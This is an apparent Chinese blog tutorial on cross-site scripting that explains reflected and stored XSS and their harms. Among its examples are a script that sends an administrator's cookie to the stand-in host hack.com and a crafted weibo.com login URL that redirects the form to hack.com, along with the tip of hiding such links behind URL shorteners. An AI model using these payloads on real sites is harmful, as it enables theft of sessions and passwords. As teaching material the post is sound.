代码改变世界

谈论XSS

2013-12-06 19:03  轩脉刃  阅读(1630)  评论(7编辑  收藏  举报

XSS 叫跨站脚本攻击(Cross Site Script),那么XSS原本应该叫做CSS,但是由于CSS的简称已经被连级样式表 使用了,所以就换个称谓XSS。

为什么叫做跨站脚本攻击呢?

它的意思就是在别人的网站上嵌入脚本,而这个脚本原本不是属于这个网站的。这个解释很直观吧。

怎么嵌入脚本呢?

image

比如这么个搜索结果页,当用户搜索test的时候,页面会显示“搜索关键词:test”

这个时候,这里的test就很有可能会出现xss漏洞,如果该页面是直接将用户输入的东西“返回”到页面上,那么存在的xss漏洞就可以这样利用:

输入:<script>alert(1);</scrip>

那么页面就会跳出alert(1);

这种XSS叫做反射性XSS。

 

再谈论另外一种场景,每个网站都有反馈框。允许用户反馈数据给后台。

而这个后台一般都是管理员进行审核,会在管理后台展示。

如果一个<script>var x=new Image(); x.src=”http://hack.com?cookie=”+document.cookie;</script>的反馈数据由用户输入

然后这个数据“直接”返回到管理后台上,那么这个时候,管理后台管理员的cookie就被作为参数传递到http://hack.com 了。后面黑客就可以使用cookie来做登录管理后台了。

这种XSS由于攻击代码存储进数据库了,所以叫做存储型XSS。

危害

一般来说,存储型XSS的危害性大于反射型XSS。因为反射型XSS只会影响到自己,而存储型的XSS可能会影响到网站的其他用户。

XSS可以如上面例子说的:

1 盗取cookie

2 钓鱼

比如我将一段代码注入进某个网站的支付页面,这段js代码做的事情是,动态控制这个支付页面的Form表单,比如将这个form表单的html替换成目标网站一个相似的html。

或者另一个案例是使用反射型XSS,我预先生成一个url,这个url是一个有反射型xss漏洞的页面。比如 document.getElementById(“loginForm”).action=”http://hack.com”http://weibo.com/login?username=<script>document.getElementById(“loginForm”).action=”http://hack.com”</script> ,然后我将这个页面通过qq的群邮件发给qq群中的所有人,一旦有人点击这个链接,那么就会进入微博登陆页,万一再输入用户名密码,那么这个人的用户名密码就会被盗了。当然,这个案例有个问题,url太假了,怎么办?短链接服务。现在有很多厂商提供了短连接的服务。那么最后的链接是实际看不出来问题的。

3 DDOS攻击

当然这个前提是有大量用户已经被XSS攻击了,所以他们浏览的页面已经被植入了代码,这个代码的作用就是循环向一个网站发送请求,如果有xss漏洞的这个网站是有大量用户的,比如微博,那么后一个被DDOS攻击的网站就真心惨了。

总之,XSS的危害就在于网站的页面可以被随意嵌入js代码。